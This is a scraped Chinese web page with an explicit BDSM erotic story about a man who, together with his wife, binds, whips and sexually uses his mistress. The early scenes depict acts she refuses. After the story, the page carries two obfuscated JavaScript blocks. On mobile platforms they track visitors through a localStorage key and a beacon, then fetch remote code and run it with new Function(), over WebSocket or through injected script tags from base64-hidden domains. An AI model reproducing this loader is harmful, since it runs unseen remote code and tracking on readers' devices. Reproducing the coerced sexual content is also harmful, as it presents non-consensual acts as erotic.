图片载入中

美纱的履历书-奴隶

特大字】 【大字】 【中字】 【小字

1

“我还是…不想见你的太太。”

美纱来到佐原的家门口,紧张的站在那里。

数日前,佐原在SM旅馆让雄介奸淫美纱后,今天又要把她带回自己的家里,而且知道他太太也在家里。

真不明白佐原在想什么?他要怎么向太太解释呢?

佐原用力把美纱拉进门里。

当四十岁左右,穿和服的美丽女人出现时,美纱确实很惊讶。

柳眉,温和的眼神,带着笑容的嘴唇…充满高雅气质的女人有贵族的风范,而且感觉不出有骄傲的气息。

“她是结城美纱小姐。”

“你好,请进。”

美纱听她这样说,反而感到内疚,原有的排斥心里已经完全消失,取而代之的是不安感。

佐原介绍她是妻子绢惠,不知她知道事实后会有什么反应。

进入客厅里,美纱还是无法放松心情。

“你好像很不安的样子。”

“为什么叫我到这里来…”

“因为要你和绢惠和平相处。”

“这…知道我们的事以后就…”

“她早就知道了。”

听到佐原的话,美纱无言以对。

绢惠端来茶和点心。和佐原一样,脸上带着温和的笑容,只能认为她知道丈夫的性无能,所以十分放心。

她知道佐原会做那种无耻的事吗?佐原不可能对如此高雅的女人做出异常的行为。顶多用手指和嘴爱抚她吧,想到这儿,美纱对绢惠产生即嫉妒又羡慕的感情。

“咖啡也不错,但是茶是我们国人的口味。这个茶很香。”

“如果不合美纱小姐的口味,可以改为咖啡的。”

绢惠见美纱没有动咖啡,说。

“不…我今天没有太多的时间,马上就要告辞了。”

刚才为什么没有甩开佐原的手,拒绝进来呢?美纱后悔了,不想见到这样美丽藏书吧的太太。希望在什么都不知道的情形下,和佐原交往。

“今晚就要你住在这里,你要有这样心里准备。”

“不…”

原以为和平时一样住在旅馆,怎么可能住在有他妻子在的家里。

“请不要客气,我听先生说过了。”

不知道佐原是怎么跟妻子说的。绢惠做出招待朋友般的表情。

“不,我还有事。”

美纱恨不得立刻从绢惠的面前消失。

“没有听说你有事,是和男朋友有约吗?”

佐原放下茶杯,暗指雄介。

“打扰了。”

美纱想站起来。

“还不能让你走。”

佐原抓住美纱的手腕。

“请放开…”

不知道对佐原的这种动作,绢惠做何感想,美纱感到困惑。

“我说过,今天晚上不会让你回去的。你也不必顾忌绢惠。”

佐原用力拉,美纱也用力抗拒。佐原以更大的力量把美纱拉过去。

“不要!”

“你是不是又想受处罚呢?”

佐原无视妻子的存在,使美纱失去冷静。

“不能这样,请放开我。”

美纱坚决的抗拒。可是想到再反抗下去可能会失去佐原,心里一阵难过。

“绢惠,绳子。”

佐原把美纱拉倒,使她上半身趴在自己的腿上,说出让美纱难以相信的话。

“你没有听到吗?”

佐原对露出困惑的表情的绢惠加强语气说。

“好像还不懂的样子。”

佐原掀起美纱的裙子,露出裙子同色的深绿色吊袜带。

佐原又把高开叉三角裤拉到膝上。

美纱挣扎时,佐原挥手打屁股。

“啊…”

为今晚新买的吊袜带,真不希望在这种情形下让佐原看到,绢惠的视线比挨打的屁股更让美纱刺痛。

“对她温柔一点吧…”

绢惠的话使美纱以为自己听错了。

“我对她够温柔了。这样打屁股,美纱就会湿润,所以她喜欢受到这样的惩罚的。”

美纱全身冒汗,不想在绢惠面前受到更大屈辱。美纱挣扎着想抬起身体。

绢惠拿起红绳交给佐原。佐原使用一手压住美纱的后背,把美纱的双手绑在背后。

“啊…不要!”

头发散乱,唿吸急促,美纱的后背不停的上下起伏。

“你们两个人…这是为什么…”

美纱开始怀疑他们两个人是有预谋的。打屁股和捆绑双手好像和过去一样,但觉得目的完全不同。

听到美纱上气不接下气的问,绢惠脸色稍变。

“你讨厌我先生吗?”

美纱对绢惠完全无恶意的表情又感到迷惑。

“还是…讨厌我呢?”

美纱无法了解绢惠的真意,只好转头看佐原。

“现在想和你一同享受快乐的时光,不只是我和你,绢惠也一起。彼此是女人也很不错的。”

美纱无言以对。

“从婚前就开始调教绢惠,所以她不会反抗我说的话,是绝对服从的优秀奴隶,比美纱更顺从。美纱好像调教的还不够。”

调教,奴隶…听到佐原毫不掩饰的说出这种话,美纱终于明白佐原和绢惠的关系。

可是看到文静娴淑的绢惠,实在无法想像是受到凌辱的女人。

“绢惠,给她看阴唇环吧。”

听到绢惠吞下口水的声音,像想要说话似的,稍为张开的嘴唇颤抖。

稍沉默后,绢惠对着美纱和佐原拉开和服的前襟,把最里面的代替内裤的红色围裙拉开时,出现光熘熘的花园。

看到和自己一样剃毛的阴部,美纱不由得倒吸一口气。当绢惠把外阴唇拉开时,更令美纱目瞪口呆。

在一片花瓣上有金黄色的环发出光泽。从环上还垂下五、六公分的细金链。

“阴唇环是服从的记号,表示绢惠是我心爱的奴隶,不是任何人都可以装上这个环的。”

美纱听后心乱如麻。

“绢惠,你用自己的手爱抚那个漂亮的花瓣给她看吧。美纱还没有看过其他的女人是如何自我安慰的。”

在佐原说完之后,发生难以相信之事。

绢惠以羞涩的表情用细腻的手指揉搓有环的花瓣。

绝不能让别人看到的羞耻行为,就那样拉开和服,站在那里进行。那种忍耐屈辱快要哭泣的表情,让同性的美纱看了也觉得非常美。

“啊…啊…”

美丽的红唇时而张得很大,看起来好像皱起眉头在哭泣。

“啊…让我做羞耻的事…饶了我吧…”

对佐原的命令,表现出非常服从的样子,使得美纱万分的感动。

绢惠的身体摇摆,几乎要摔倒的样子。

“啊…快要…泄了…”

绢惠的胸部起伏更急促,美纱也几乎听到自己的心跳声。

“啊…泄了…噢…”

绢惠的下巴向前突出,全身痉挛,雪白的大腿颤抖,拉起的和服掉落。

佐原支撑绢惠快要倒下的身体,再把和服拉起,于湿淋淋的花芯上舔。绢惠发出很大的哼声,佐原给她带来最强烈的性感,身体猛然颤抖。

美纱看到此等光景,觉得不是真的,同时感到自己的身体也火热。

佐原让绢惠坐在沙发上,把手伸入坐在同一沙发上的美纱的裙子内。

“啊…”

因为高开叉的三角裤拉到膝部,佐原的手立刻到达花芯。然后抽出手,把湿淋淋的手指送到美纱的面前。

“好像你也有性感了。我希望美纱也能变成绢惠那样,要你成为我和绢惠共有的女人。即便是和其他男人睡觉,但心还是属于我们两个人的。”

佐原以暗示的口吻说。

“对我这样做,你会讨厌吗?我喜欢你,你是我先生看中的女人,我每天都听到关于你的事,他说你是很可爱的女人,无论如何都想拥有你。请你不要讨厌我,好吗?”

美纱觉得在那里听过这样的话。不要讨厌我…想起那是自己对佐原说的话时,也同时想到说那句话时的迫切心情。

“美纱对绢惠很满意,所以才会这样湿润。看到你的花芯是湿润的,所以你现在要舔美纱的阴户。”

“不要…”

美纱的双手被捆绑于背后,但还是拼命的想逃走。可是佐原把美纱放在腿上,分开雪白的双腿。

“不要…不要…”

绢惠进入美纱双腿之间,用嘴唇爱抚和自己一样光熘熘的阴唇,然后向左右拉开花芯。

“啊…真美。好漂亮的花瓣,阴核也很可爱。”

绢惠的脸贴在美纱的大腿根。

“不要…唔…”

当温柔的舌头轻柔的舔舐时,美纱立刻受到强烈的性感波涛的袭击,仰起下巴,发出喜悦的哼声。

2被佐原和绢惠带到地下室。那里有宽大的木屋。里面较高之处有八个榻榻米大小的和式房间,看起来比SM旅馆的设备更齐全,美纱的双腿不由得颤抖。

离开地面约六、七十公分的高处有X型的台架。窗边也有十字架。挂在墙上的皮鞭有好几支。从天花板垂下滑车和铁炼,璧柜上有几种绳子以及各种玩具。

只是看到,就会唿吸急促。

墙上有大镜子,看起来使房间空间显的更大。

和式房间已铺好卧具。红色的绵被可能只供性交使用。

在一般家庭的地下室,谁会想到有这样的秘密房间呢?使美纱自己感到走入不同次元的世界里。

“这是我家最好的客厅,你满意吗?”

美纱的心跳得可能连佐原也听到。

“今后扩张美纱肛门的任务要交给绢惠,要负责做到能插入最后一根扩张棒。”

“不要!”

佐原要做的事都出乎美纱的想像,竟然还要绢惠扩张美纱的肛门。

“你绝对不能拒绝。今后你要和绢惠好好的相处,把心赤裸裸的露出来,欲露出心就要先脱衣服。”

“不要。”

美纱向楼梯跑去。佐原把她抓回来,双手拴在柱上。

美纱说不要的处罚,要由绢惠代替接受。佐原的话又使美纱感到意外。

绢惠只是嘴唇牵动一下,没有反抗的意思。

绢惠身上的和服脱下,只剩白袜。

“再问你一次,不愿意让绢惠给你扩张肛门吗?”

“那…那种事…不要…”

美纱不是讨厌绢惠,只是觉得比佐原那样弄更为屈辱。心里也想到绢惠不应该会做那种事。

佐原听到美纱仍旧拒绝,于是捆绑绢惠的双手,挂在天花板垂下的滑车的钩上,然后卷起铁炼。

先举起手,然后穿白袜的脚后跟离地,直到用脚尖勉强着地时才停止。

两个女人面对面站立。

佐原拿来一条皮鞭,是前端分开六条的穗鞭。

“叫出好听的声音吧。”

佐原站在绢惠的背后,向雪白的屁股挥动皮鞭。

“噢…”

随着轻脆的肉声,听到绢惠的哼声和铁炼摇动的金属声。

美纱也挨过几次穗鞭的抽打,知道那是游戏用的。可是别人在自己的面前挨打,声音又大,忍不住要把脸转开。

除屁股外,也抽打后背和大腿。绢惠皱起美丽的眉毛,从红唇发出不分苦闷或喜悦的呻吟声。

佐原从绢惠的背后来到面前。

“代替美纱挨打的滋味如何?要好好的打你的乳房和阴户。”

佐原用皮鞭柄把绢惠蛋型的脸抬起,看到顺从的女奴隶颤抖的嘴唇,露出满意的笑容。

绢惠的嘴唇不是因恐惧而颤抖,而是为不久后即将来临的性高潮颤抖。

绢惠的花芯,不用看也知道湿润了。

不知道这种情形的美纱,可能在不久后会说出佐原期待的话。

佐原站在绢惠的面前,挡住美纱的视线。

佐原用皮鞭柄推压绢惠的乳头。

“噢…”

绢惠的后背微微向后仰。

“美纱说不喜欢让你碰到,讨厌的你受到处罚,美纱一定很爽快。”

美纱很想说没有那种事,只是不忍让美丽的绢惠做出羞辱她的事。

佐原挥动皮鞭,飕的一声打在乳房上。

“噢!”

绢惠的身体摇动,滑车和铁炼摩擦,发出刺耳的声音。

连续在乳房抽打数下后,改打剃过毛的阴部。

“啊…”

绢惠感到恍忽,可是乳房和阴部还没有挨过打的美纱,认为绢惠一定很痛苦。

“噢…唔…啊…”

听到绢惠的惨叫声,美纱的身体颤抖。

“不要打了…不要打了…”

美纱大叫。

美纱已经能把佐原的任何行为看成是爱的表现,但不信理解惩罚没有犯错的妻子是何居心。

佐原不理美纱的喊叫声,但他知道,绢惠正在等待将要来临的性高潮快感。

佐原又来到绢惠的背后,用力抽打汗湿的屁股。

“噢…”

迎接性高潮的绢惠,张开嘴,全身猛然颤抖。

被皮鞭抽打后达到性高潮是美纱无法想像的事。她认为疼痛和恐惧使绢惠的身体产生异常的现象。

佐原知道绢惠已达到性高潮的绝顶,放下皮鞭,从绢惠的背后伸手到花芯。

“唔…”

屁股猛然颤抖。

花芯像尿尿一样湿润而火热。此时把手指插入花芯,可能会产生更大的性感。

“求求你…不要打了…饶了她吧…”

美纱口干舌燥。

“你不是讨厌绢惠吗?不要勉强的让讨厌的女人摸你。我给你看很有趣的东西。”

佐原在绢惠的阴唇环的金炼装上金铃。虽然不是很大的铃当,但看出花瓣被向下拉,那种残忍的样子使芙纱皱眉。

“装上铃当,用皮鞭打时就会发出可爱的铃声,而且不要用游戏的穗鞭,要用一条鞭,虽然会稍为受伤。”

“不要!我没有讨厌她,所以不要了…”

“你不讨厌绢惠吗?我不相信。是不是真的不讨厌绢惠要试试看。你也不要忘记,将来会代替绢惠受惩罚的。”

佐原解开绢惠,再解开美纱。

“绢惠,你开始调教美纱的肛门,不用我说也该知道怎么办吧。在那之前,美纱要为绢惠取下铃当。”

美纱取下铃当时,手指发抖,同时发现绢惠的大腿根湿润。

美纱想不到那是蜜汁,还以为被打时绢惠因恐惧而失禁。

取下铃当后轮到绢惠调教美纱。

“像小狗一样的趴下吧,我会温柔的做。”

美纱想拒绝。但知道拒绝后,绢惠会受到惩罚。拿皮鞭的佐原坐在高一层的和式房间看。

美纱原以为会立刻在肛门插入扩张棒,但插进去的是浣肠用的玻璃嘴。

“噢…”

温水慢慢的注入美纱的腹部。

注射完毕时,佐原走过来说:“在我说好之前,美纱要忍耐。在这段时间,我要给你藏书吧看已调教好的绢惠的肛门是什么样子。”

绢惠听到佐原的命令,立刻做出狗趴姿势。

佐原在肛门涂上凡士林,用手指柔搓,然后用粗大的假阳具顶肛门。

“这是示范,美纱,要仔细看清楚。”

佐原把假阳具插入肛门里。

“唔…唔…”

美纱忘记自己有排泄的危机,凝视消失在肛门的粗大的假阳具。

“啊…”

绢惠的肛门很轻易的接纳假阳具,美纱看得几乎忘了唿吸。

佐原开始慢慢的抽插,随绢惠的喘息声,从花芯溢出蜜汁。

强烈的腹痛,这才使美纱清醒过来。

“让我去厕所…”

佐原操作假阳具的手停止活动。

3

“啊…不要…”

在佐原的命令下,在地下室的浴室由绢惠给她洗身体。连花芯、菊花蕾都用细柔的手指清洗时,美纱感到身体开始骚痒。

过去从未想过会让同性洗身体。如今已经由绢惠亲手为她浣肠,所以不再有逃避她的意念。

像跑马灯一样,从认识佐原到现在的过程在脑海里出现。还有现在三个人在地下室,都像做梦一样。

“你很美…”

绢惠在美纱的耳边说。

“现在…还要做什么呢…”

美纱仍旧感到不安。

美纱此时对绢惠产生母亲般的温暖感。

“他会把我们带入欢乐里,你能明白吧。”

“可是,你没有做错事却代替我挨打,还狠狠的打乳房和那里。”

有太多无法用常识理解的事,美纱就像迷路的小孩一样迷惑。

“那样…我就能达到性高潮…他知道用皮鞭抽打会使我达到性高潮。”

“这…”

没有插入阴户,也没有用手指爱抚,美纱真不敢相信这样就能达到性高潮。

“性感不是用身体感受的,是用心获得的,你明白吧?只要确实相信我先生,一定能获得很多的欢乐。只要肯忍耐疼痛或羞耻。”

因为完全相信佐原,绢惠才能保持这样平静。

美纱觉得自己从未像绢惠这样真正的爱一个男人。可能是遇见了佐原,才知道什么是真正的爱。

走出浴室时,看到各种玩具排列在那里。

“绢惠,你用这个阴茎从后面给她插入,现在给美纱用这个大概是没有问题了。”

佐原拿给绢惠的是装有较细的黑色阴茎的腰带,虽然很细,但还是和阴茎一模一样。

绢惠拥抱美纱。

“我怕…”

“不要紧的。”

“要轻一点…”

美纱已经没有拒绝的意思,但仍然有不安感和羞耻感。

“唔…”

绢惠吻美纱的红唇,美纱的身体紧张。

柔软的嘴唇在美纱的嘴边轻轻摩擦,温热的舌尖插入美纱的嘴里。

接授这样温柔的爱抚还是第一次。绢惠的舌尖在美纱的嘴里蠕动,美纱激动的想哭。

“你真是可爱的人…我会对你很温柔的…”

绢惠把假阳具腰带戴上,从下体突出的黑色假阳具,因为绢惠的美而相形见拙。

“你做小狗的姿势吧。”

美纱故意做出不要的样子。现在不仅对佐原,也想对绢惠撒娇了。

美纱受到绢惠的摧促时,轻轻的跪下去,弯下上身,双手着地。

“屁股还要抬高,要做出无耻的样子抬高。”

听佐原大声说。

美纱把屁股挺过去,就像请求玩弄屁股。心里觉得又有新的事情开始了。

绢惠的手指在美纱微微抽搐的菊花蕾涂上凡士林。美纱忍不住一面喘息,一面扭动屁股。

“你不要动,马上就在那个可爱的屁股插入阴茎。”

绢惠也跪下去,把黑色的龟头对正美纱的肛门。

“啊…轻一点…我怕痛…”

过去插入扩张棒时手臂会颤抖,更何况是阴茎形状之物。

异物推开菊花蕾进入体内。

“唔…”

佐原来到美纱的面前盘腿坐下。

“很美,比我第一次见到的你美多了”佐原的话使美纱喜极而泣。

绢惠开始慢慢抽插。

“啊…我怕…”

“是很舒服吧?”

美纱摇头。

“绢惠,你看一看美纱是不是湿润了。”

绢惠就在假阳具插入其内之下,伸手摸美纱的花芯,那里如尿尿般有很多蜜汁。

“怎么样?”

“已经充分湿润了。”

美纱听到绢惠的话感到十分难为情,觉得自己的耳根火热。

“你这样用手指让美纱泄出来吧。”

绢惠开始揉搓美纱的花瓣,也在突出的肉芽上摩擦。

“啊…”

美纱发出哼声,感到子宫深处骚痒万分。锁紧肛门时,因为有假阳具感到痛。

“噢…”

绢惠的手指插入阴户里。

“热热的…真是可爱的阴户,想给你这里插进去。”

美纱看佐原,想说给我插,但又咽回去。如果有佐原的东西插进来,在那刹那,可能就达到高潮。佐原的肉棒是幻影,但还是很想爱抚那个东西。

“啊…让我爱抚你的东西吧…用嘴爱抚吧…”

佐原此时拿起两端皆为阴茎形状的弓型假阳具,将其中的一端塞入美纱的嘴里。

“舔吧。”

佐原用假阳具在美纱的嘴里抽插,还解释说这是两个女人相爱时用的东西,在中间有一个肉片,以防止假阳具过于深入一方的女人肉洞里伤及子宫。

美纱把双头假阳具的一端看成是佐原的肉棒,含在嘴里。

“想用这个给你插吗?”

美纱含着假阳具点头。

“绢惠,取下假阳具腰带,去和室房间,暂时还不能让美纱达到性高潮。”

绢惠拔出黑色假阳具时,美纱的那里稍翻转,露出粉红色的肠璧。

绢惠在菊花蕾上轻吻。

“啊…不行啦…”

强烈的骚痒感扩散,美纱从鼻孔冒出甜美的哼声。

当温暖的嘴唇再度在菊花蕾上滑过时,美纱摇头,把佐原嘴里的假阳具吐出去,然后抬起上半身。

“不要…在那地方…不要…”

“菊花微微绽放,真美。”

“啊…不要…”

美纱双手掩脸,佐原向左右拉开。

“今后要向绢惠多多的享受乐趣了。”

美纱被带入和室时,摇摇摆摆的几乎要倒下去。

“绢惠给你插入肛门,美纱,为表示感谢,你给绢惠插入阴户里吧。”

美纱拿到双头假阳具后不知如何是好。虽然佐原说明用法,但不可能插入绢惠的花芯里。

“用你的嘴爱抚我的花瓣或肉芽吧。然后再差入…”

好像在鼓励犹豫不决的美纱,绢惠躺在卧具上,分开双腿,金炼发出光泽。

佐原用力推美纱的后背。美纱倒在绢惠的肚皮上,接触到光滑、温暖的肌肤。

美纱抬起头向下方看。除阴唇外,还看到阴唇环的一部分金链。虽然害怕,但很想看是如何装上去的,产生把那里分开来看的欲望,然而做不到。

此时,佐原把美纱搂在怀里。

“你想不想要绢惠的那种环?你若想要,也可以给你装上,而且准备好了。不过,你要乖顺才可以。”

美纱觉得可怕,另一方面又很想装上那个东西。

“阴唇环是服从的记号。绢惠是我心爱的奴隶,不是任何人都可以为她装的。”

美纱又想起佐原在客厅里所说的话,如果装上阴唇环就能和绢惠成为平等的人。没有排斥绢惠的意思,又是想做和她有同等价值的女人。

“我也装上阴唇环…那样…就能在一起生活了吗…”

美纱已经无法思考没有了佐原的生活。回到公寓,独守空闺的心情,教人难以消受,非常羡慕绢惠。

“如果要一起生活,美纱的房间暂时就在这里了。不过,在那之前,还有事情要做吧。”

美纱战战竞竞的分开绢惠的大腿,轻轻的摇动金链,然后抚摸有环的花瓣。

美纱恨不得自己现在也有阴唇环。

“我也要装…这个…”

美纱抬起头看佐原。

“我很中意金妮的那个像野狼的人。看那个男人奸淫美纱,我就感到痛快。等一等把他叫来,让他奸淫绑在架子上的美纱,没有问题吧。”

美纱听了有点紧张。如果不答应,可能永远得不到阴唇环。

如果这是佐原的心愿,只有如此做了。美纱对雄介粗犷的个性并不讨厌。

“如果你一定要那样做的话…”

见美纱的反应,佐原笑着说:“现在打电话到金妮吧。”

佐原走出地下室。

绢惠抬起身体,说:“你已经不怕了吧?照他的话做,一定可以得到幸福的。”

绢惠拿起双头的假阳具,在其中的一个龟头上舔一舔后顶在美纱的花芯上,然后慢慢插进去。

“噢…”

“痛吗?”

绢惠插入到底后,把另一个龟头对正自己的花芯。

“你来活动,给我插进去吧。你没有给我吻,也许不够湿润,所以要慢一点。”

美纱对其后的时间感到不安,但期待很大。消除不安的最好方法就是完全投入,进入梦幻的世界里。

美纱慢慢的把自己的下体靠近绢惠。

“啊…对了…要轻轻的…”

两个人的身体紧拥,很自然的开始接吻。绢惠一面活动下半身,一面在美纱的阴核上轻轻爱抚。

此时,佐原回来了。

“美纱,你做的很好,要给你奖品,你想要什么呢?是想用绳子捆绑吗?”

受到赞美的美纱更用力的扭动屁股,使得绢惠发出甜美的哼声。

【全文完】


上一篇:凌辱展示

下一篇:痛苦的婚姻与虐待


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};